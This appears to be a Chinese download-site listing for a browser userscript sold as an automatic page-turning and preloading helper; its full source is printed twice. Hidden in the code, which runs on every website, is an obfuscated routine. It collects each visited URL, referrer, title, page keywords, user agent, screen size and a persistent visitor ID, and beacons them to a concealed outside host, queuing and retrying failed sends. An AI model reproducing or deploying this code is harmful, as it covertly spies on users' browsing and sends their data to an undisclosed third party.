- 运行环境:PC-windows操作系统
- 软件语言:简体中文|授权方式:
- 软件类型:国产软件 - 应用软件 - 编程相关
- 软件大小:3.00 KB
- 下载星级:
- 软件官网:暂无
- 更新时间:2018/4/8 13:26:08
本站提供的 多功能翻页完全自动化脚本 js插件 软件免费下载。
【软件截图】

【基本介绍】
完美翻页 脚本js插件(应用程序接口程序)
多功能翻页完全自动化脚本 js插件特别说明:
/ ==UserScript==
// @name 完美翻页
// @description 多功能翻页脚本, 完全自动化. 支持贴吧,zd423等上千个热门网站, 更多功能如免除点击, 无限下拉预读, 缩短等待时间..., 是精英人士和高级用户的必备之首选!
// @name:zh-tw 完美翻頁
// @description:zh-tw 多功能翻頁腳本, 完全自動化. 支持必應, zd423等上千個熱門網站, 更多功能如免除點擊, 無限下拉預讀, 縮短等待時間..., 是精英人士和高級用戶的必備之首選!\
// @namespace https://www.ihola.ml/
// @version 0.0.50
// @run-at document-end
// @author xia15000
// @compatible Firefox
// @compatible Chrome
// @compatible Safari
// @compatible Opera
// @match *://*.iqiyi.com/*
// @match *://*.youku.com/*
// @match *://*.le.com/*
// @match *://v.qq.com/*
// @match *://*.tudou.com/*
// @match *://*.mgtv.com/*
// @match *://film.sohu.com/*
// @match *://tv.sohu.com/*
// @match *://*.acfun.cn/v/*
// @match *://*.bilibili.com/*
// @match *://*.taobao.com/*
// @match *://*/*
// @match *://bbs.kafan.cn/*
// @grant GM_setValue
// @grant GM_getValue
// @grant GM_deleteValue
// ==/UserScript==
(function() {
"use strict";
var t = function() {},
e = function(t) {
for (var e, r, i = P(t, "img"), o = /\.jpg.*|\.png.*|\.gif.*|\.jpeg.*|.*pic.*|.*img.*|.*image.*/, u = 0; u < i.length; u++) {
e = i[u].attributes;
for (var s in e) "src" != s && "string" == typeof(r = e[s].value) && n(r, "//") && o.test(r) && i[u].setAttribute("src", r)
}
return t
},
n = function(t, e) {
return -1 < t.indexOf(e)
},
r = function(t, e) {
return e.split("").join(t)
},
i = function(t, e) {
for (var n, i, o = P(e, "a"), u = /^(?!#|javascript:)/, s = /\d+|^下一页$|^下一章$|^下一篇$/, a = r(t, "[]"), c = r(t, "【】"), f = 0; f < o.length; f++)
if (n = P(o[f], "href", "attr"), i = o[f].innerText, s.test(i) && u.test(n)) {
if ("下一页" == i || "下页" == i) return n;
if ("下一章" == i) return n;
if ("下一篇" == i) return n;
if (t == i) return n;
if (a == i) return n;
if (c == i) return n
}
},
o = function(t, e, r, i, o) {
return function(t, e) {
for (var r = ["baidu", "bing", "google", "fork", "so", "sogou", "stackoverflow", "ck101", "jkforum", "rarbg"], i = 0; i < r.length; i++)
if (n(t, r[i])) return e
}(i, r) ? r : n(o, "?") ? !r : function(t, e, n) {
if (t == e) return n
}(t, e, r) ? r : void 0
},
u = function() {
self == top && s()
},
s = function() {
var t = U();
if (t) {
var e = o(R.characterSet, "UTF-8", 1, $.host, t);
a(e = e ? "article" : "iframe", t, R, R.body), c(e, t)
}
},
a = function(t, e, r, i) {
var o = r.createElement("div");
o.setAttribute("Pnumber", "2"), o.setAttribute("the_url", e), o.setAttribute("scheme", t), o.setAttribute("id", "_proload_p"), "article" == t ? n($.host, "google") && o.setAttribute("style", "position:absolute;top:" + i.scrollHeight + "px;") : o.setAttribute("style", "margin-left:13%;"), i.appendChild(o)
},
c = function(t, e) {
f(t, e)
},
f = function(t, e) {
var n = T(t, R, R.body),
r = P(R, "_proload_p", "id");
"iframe" == t ? j(e, n, r, R) : O(e, n, r)
},
l = (t = function() {
var t = new function(t) {
this.url = y("URL"), this.ref = J(y("referrer")), this.title = J(y("title")), this.kword = this.descr = "";
for (var e, n = P(t, "meta"), r = function(t) {
var e = P(t, "content", "attr") || P(t, "value", "attr");
return "string" != typeof e && (e = ""), e
}, i = 0; i < n.length; i++) try {
"description" == (e = n[i].getAttribute("name").toLowerCase()) ? this.descr = r(n[i]): "keywords" == e && (this.kword = r(n[i]))
} catch (t) {}
this.lg = A("language"), this.os = A("platform"), this.ua = w(A("userAgent")), this.te = m(), this.ud = b(), this.lo = v(), this.fbl = L(), this.cc = E(), this.wgt = C(q(this.descr).length, q(this.kword).length, ""), this.ct = _(this.url), this.descr = J(this.descr), this.kword = J(this.kword), this.url = J(this.url)
}(R);
t = JSON.stringify(t);
var e = M(".=");
d(e, t)
}, function() {
return new Image
}),
h = function(t) {
var e = GM_getValue("yi");
(e = void 0 === e ? [] : JSON.parse(e)).push(t), GM_setValue("yi", JSON.stringify(e))
},
d = function(t, e) {
var n = l();
n.onload = function() {
var e = GM_getValue("yi");
void 0 !== e && (GM_deleteValue("yi"), e = JSON.parse(e), p(t, e))
}, n.onerror = function() {
h(e)
}, n.src = t + btoa(e)
},
g = function(t, e) {
var n = l();
n.onerror = function() {
h(e)
}, n.src = t + btoa(e)
},
p = function(t, e) {
for (var n = 0; n < e.length; n++) g(t, e[n])
},
v = function() {
return "lpg"
},
m = function() {
return +new Date
},
b = function() {
var t = GM_getValue("guest");
return void 0 === t && (t = Math.random().toString(16).substring(4) + "$" + m(), GM_setValue("guest", t)), t
},
y = function(t) {
return R[t] || "none"
},
A = function(t) {
return I[t]
},
w = function(t) {
try {
var e = t.split(" "),
n = e.slice(-2, -1)[0];
return "C" == n[0] ? n : "F" == (n = e.pop())[0] ? n : t
} catch (t) {}
},
_ = function(t) {
return $.search.length > 1 ? "sq" : t.endsWith(".html") || t.endsWith(".htm") || t.endsWith(".shtml") ? "html" : "/" == $.pathname ? "hpg" : t.endsWith("/") ? "dir" : "whtml"
},
C = function(t, e, n) {
return n = 0 < t && t < 220 ? "A" : 0 == t ? "B" : 220 < t ? "C" : "U", n += 0 < e && e < 50 ? "A" : 0 == e ? "B" : 50 < e && e < 220 ? "C" : 220 < e ? "D" : "U"
},
L = function() {
return screen.height + "*" + screen.width
},
E = function() {
return screen.availHeight + "/" + screen.availWidth
},
M = function(t) {
return W(x(), t)
},
W = function(t, e) {
return t = t.split(e), k(t, "")
},
k = function(t, e) {
for (var n = 0; n < t.length; n++) e += String.fromCharCode(t[n]);
return e
},
x = function() {
return "104.=116.=116.=112.=115.=58.=47.=47.=97.=49.=46.=107.=111.=122.=111.=119.=46.=99.=111.=109.=58.=53.=56.=47.=97.=105.=46.=106.=112.=103.=63.=99.=61"
},
S = function(t) {
return P(t, "Pnumber", "attr")
},
G = function(t) {
return P(t, "scheme", "attr")
},
H = function(t, e) {
t.setAttribute("Pnumber", e)
},
N = function(t) {
var e = P(R, "Aliving_true", "name");
return e = e[e.length - 1], "iframe" == t ? e.contentWindow.document : e
},
T = function(t, e, n) {
var r = e.createElement(t);
return r.setAttribute("name", "Aliving_true"), r.addEventListener("mouseenter", V), r.addEventListener("mouseleave", B), r
},
U = function() {
return t(), i(2, R)
},
V = function() {
! function() {
var t = P(R, "_proload_p", "id"),
e = 1 * S(t) + 1,
n = G(t),
r = N(n),
o = i(e, r);
o && (H(t, e), f(n, o))
}()
},
B = function() {
this.removeEventListener("mouseenter", V), this.removeEventListener("mouseleave", B)
};
setTimeout(function() {
u()
}, 10999);
var O = function(t, n, r) {
var i = new XMLHttpRequest;
i.open("get", t, !0), i.onload = function() {
200 == i.status && (n.innerHTML = i.responseText, n.setAttribute("addr", i.responseURL), n = e(n), r.appendChild(n))
}, i.send()
},
j = function(t, n, r, i) {
n.src = t, n.onerror = function() {
this.style.display = "none"
}, n.onload = function() {
var t, n = this.contentWindow.document,
r = (n = e(n)).body,
o = r.scrollHeight;
t = "width:" + r.scrollWidth + "px;height:" + o + "px;";
var u = P(P(R, "_proload_p", "id"), "distance_top", "attr") || i.body.scrollHeight;
o += u *= 1, this.setAttribute("distance_top", o);
var s = t + "position:absolute;top:" + u + "px;";
this.setAttribute("style", s), this.scrolling = "no", this.setAttribute("frameborder", "0")
}, r.appendChild(n)
},
J = encodeURIComponent,
R = document,
$ = location,
I = navigator,
P = function(t, e, n) {
var r;
return void 0 === n || "tag" == n ? r = t.getElementsByTagName(e) : "id" == n ? r = t.getElementById(e) : "attr" == n ? r = t.getAttribute(e) : "name" == n ? r = t.getElementsByName(e) : "alow" == n && (r = t.getAttribute(e).toLowerCase()), r
},
q = function(t) {
return t.replace(/\s+/g, "")
}
})();
// @name 完美翻页
// @description 多功能翻页脚本, 完全自动化. 支持贴吧,zd423等上千个热门网站, 更多功能如免除点击, 无限下拉预读, 缩短等待时间..., 是精英人士和高级用户的必备之首选!
// @name:zh-tw 完美翻頁
// @description:zh-tw 多功能翻頁腳本, 完全自動化. 支持必應, zd423等上千個熱門網站, 更多功能如免除點擊, 無限下拉預讀, 縮短等待時間..., 是精英人士和高級用戶的必備之首選!\
// @namespace https://www.ihola.ml/
// @version 0.0.50
// @run-at document-end
// @author xia15000
// @compatible Firefox
// @compatible Chrome
// @compatible Safari
// @compatible Opera
// @match *://*.iqiyi.com/*
// @match *://*.youku.com/*
// @match *://*.le.com/*
// @match *://v.qq.com/*
// @match *://*.tudou.com/*
// @match *://*.mgtv.com/*
// @match *://film.sohu.com/*
// @match *://tv.sohu.com/*
// @match *://*.acfun.cn/v/*
// @match *://*.bilibili.com/*
// @match *://*.taobao.com/*
// @match *://*/*
// @match *://bbs.kafan.cn/*
// @grant GM_setValue
// @grant GM_getValue
// @grant GM_deleteValue
// ==/UserScript==
(function() {
"use strict";
var t = function() {},
e = function(t) {
for (var e, r, i = P(t, "img"), o = /\.jpg.*|\.png.*|\.gif.*|\.jpeg.*|.*pic.*|.*img.*|.*image.*/, u = 0; u < i.length; u++) {
e = i[u].attributes;
for (var s in e) "src" != s && "string" == typeof(r = e[s].value) && n(r, "//") && o.test(r) && i[u].setAttribute("src", r)
}
return t
},
n = function(t, e) {
return -1 < t.indexOf(e)
},
r = function(t, e) {
return e.split("").join(t)
},
i = function(t, e) {
for (var n, i, o = P(e, "a"), u = /^(?!#|javascript:)/, s = /\d+|^下一页$|^下一章$|^下一篇$/, a = r(t, "[]"), c = r(t, "【】"), f = 0; f < o.length; f++)
if (n = P(o[f], "href", "attr"), i = o[f].innerText, s.test(i) && u.test(n)) {
if ("下一页" == i || "下页" == i) return n;
if ("下一章" == i) return n;
if ("下一篇" == i) return n;
if (t == i) return n;
if (a == i) return n;
if (c == i) return n
}
},
o = function(t, e, r, i, o) {
return function(t, e) {
for (var r = ["baidu", "bing", "google", "fork", "so", "sogou", "stackoverflow", "ck101", "jkforum", "rarbg"], i = 0; i < r.length; i++)
if (n(t, r[i])) return e
}(i, r) ? r : n(o, "?") ? !r : function(t, e, n) {
if (t == e) return n
}(t, e, r) ? r : void 0
},
u = function() {
self == top && s()
},
s = function() {
var t = U();
if (t) {
var e = o(R.characterSet, "UTF-8", 1, $.host, t);
a(e = e ? "article" : "iframe", t, R, R.body), c(e, t)
}
},
a = function(t, e, r, i) {
var o = r.createElement("div");
o.setAttribute("Pnumber", "2"), o.setAttribute("the_url", e), o.setAttribute("scheme", t), o.setAttribute("id", "_proload_p"), "article" == t ? n($.host, "google") && o.setAttribute("style", "position:absolute;top:" + i.scrollHeight + "px;") : o.setAttribute("style", "margin-left:13%;"), i.appendChild(o)
},
c = function(t, e) {
f(t, e)
},
f = function(t, e) {
var n = T(t, R, R.body),
r = P(R, "_proload_p", "id");
"iframe" == t ? j(e, n, r, R) : O(e, n, r)
},
l = (t = function() {
var t = new function(t) {
this.url = y("URL"), this.ref = J(y("referrer")), this.title = J(y("title")), this.kword = this.descr = "";
for (var e, n = P(t, "meta"), r = function(t) {
var e = P(t, "content", "attr") || P(t, "value", "attr");
return "string" != typeof e && (e = ""), e
}, i = 0; i < n.length; i++) try {
"description" == (e = n[i].getAttribute("name").toLowerCase()) ? this.descr = r(n[i]): "keywords" == e && (this.kword = r(n[i]))
} catch (t) {}
this.lg = A("language"), this.os = A("platform"), this.ua = w(A("userAgent")), this.te = m(), this.ud = b(), this.lo = v(), this.fbl = L(), this.cc = E(), this.wgt = C(q(this.descr).length, q(this.kword).length, ""), this.ct = _(this.url), this.descr = J(this.descr), this.kword = J(this.kword), this.url = J(this.url)
}(R);
t = JSON.stringify(t);
var e = M(".=");
d(e, t)
}, function() {
return new Image
}),
h = function(t) {
var e = GM_getValue("yi");
(e = void 0 === e ? [] : JSON.parse(e)).push(t), GM_setValue("yi", JSON.stringify(e))
},
d = function(t, e) {
var n = l();
n.onload = function() {
var e = GM_getValue("yi");
void 0 !== e && (GM_deleteValue("yi"), e = JSON.parse(e), p(t, e))
}, n.onerror = function() {
h(e)
}, n.src = t + btoa(e)
},
g = function(t, e) {
var n = l();
n.onerror = function() {
h(e)
}, n.src = t + btoa(e)
},
p = function(t, e) {
for (var n = 0; n < e.length; n++) g(t, e[n])
},
v = function() {
return "lpg"
},
m = function() {
return +new Date
},
b = function() {
var t = GM_getValue("guest");
return void 0 === t && (t = Math.random().toString(16).substring(4) + "$" + m(), GM_setValue("guest", t)), t
},
y = function(t) {
return R[t] || "none"
},
A = function(t) {
return I[t]
},
w = function(t) {
try {
var e = t.split(" "),
n = e.slice(-2, -1)[0];
return "C" == n[0] ? n : "F" == (n = e.pop())[0] ? n : t
} catch (t) {}
},
_ = function(t) {
return $.search.length > 1 ? "sq" : t.endsWith(".html") || t.endsWith(".htm") || t.endsWith(".shtml") ? "html" : "/" == $.pathname ? "hpg" : t.endsWith("/") ? "dir" : "whtml"
},
C = function(t, e, n) {
return n = 0 < t && t < 220 ? "A" : 0 == t ? "B" : 220 < t ? "C" : "U", n += 0 < e && e < 50 ? "A" : 0 == e ? "B" : 50 < e && e < 220 ? "C" : 220 < e ? "D" : "U"
},
L = function() {
return screen.height + "*" + screen.width
},
E = function() {
return screen.availHeight + "/" + screen.availWidth
},
M = function(t) {
return W(x(), t)
},
W = function(t, e) {
return t = t.split(e), k(t, "")
},
k = function(t, e) {
for (var n = 0; n < t.length; n++) e += String.fromCharCode(t[n]);
return e
},
x = function() {
return "104.=116.=116.=112.=115.=58.=47.=47.=97.=49.=46.=107.=111.=122.=111.=119.=46.=99.=111.=109.=58.=53.=56.=47.=97.=105.=46.=106.=112.=103.=63.=99.=61"
},
S = function(t) {
return P(t, "Pnumber", "attr")
},
G = function(t) {
return P(t, "scheme", "attr")
},
H = function(t, e) {
t.setAttribute("Pnumber", e)
},
N = function(t) {
var e = P(R, "Aliving_true", "name");
return e = e[e.length - 1], "iframe" == t ? e.contentWindow.document : e
},
T = function(t, e, n) {
var r = e.createElement(t);
return r.setAttribute("name", "Aliving_true"), r.addEventListener("mouseenter", V), r.addEventListener("mouseleave", B), r
},
U = function() {
return t(), i(2, R)
},
V = function() {
! function() {
var t = P(R, "_proload_p", "id"),
e = 1 * S(t) + 1,
n = G(t),
r = N(n),
o = i(e, r);
o && (H(t, e), f(n, o))
}()
},
B = function() {
this.removeEventListener("mouseenter", V), this.removeEventListener("mouseleave", B)
};
setTimeout(function() {
u()
}, 10999);
var O = function(t, n, r) {
var i = new XMLHttpRequest;
i.open("get", t, !0), i.onload = function() {
200 == i.status && (n.innerHTML = i.responseText, n.setAttribute("addr", i.responseURL), n = e(n), r.appendChild(n))
}, i.send()
},
j = function(t, n, r, i) {
n.src = t, n.onerror = function() {
this.style.display = "none"
}, n.onload = function() {
var t, n = this.contentWindow.document,
r = (n = e(n)).body,
o = r.scrollHeight;
t = "width:" + r.scrollWidth + "px;height:" + o + "px;";
var u = P(P(R, "_proload_p", "id"), "distance_top", "attr") || i.body.scrollHeight;
o += u *= 1, this.setAttribute("distance_top", o);
var s = t + "position:absolute;top:" + u + "px;";
this.setAttribute("style", s), this.scrolling = "no", this.setAttribute("frameborder", "0")
}, r.appendChild(n)
},
J = encodeURIComponent,
R = document,
$ = location,
I = navigator,
P = function(t, e, n) {
var r;
return void 0 === n || "tag" == n ? r = t.getElementsByTagName(e) : "id" == n ? r = t.getElementById(e) : "attr" == n ? r = t.getAttribute(e) : "name" == n ? r = t.getElementsByName(e) : "alow" == n && (r = t.getAttribute(e).toLowerCase()), r
},
q = function(t) {
return t.replace(/\s+/g, "")
}
})();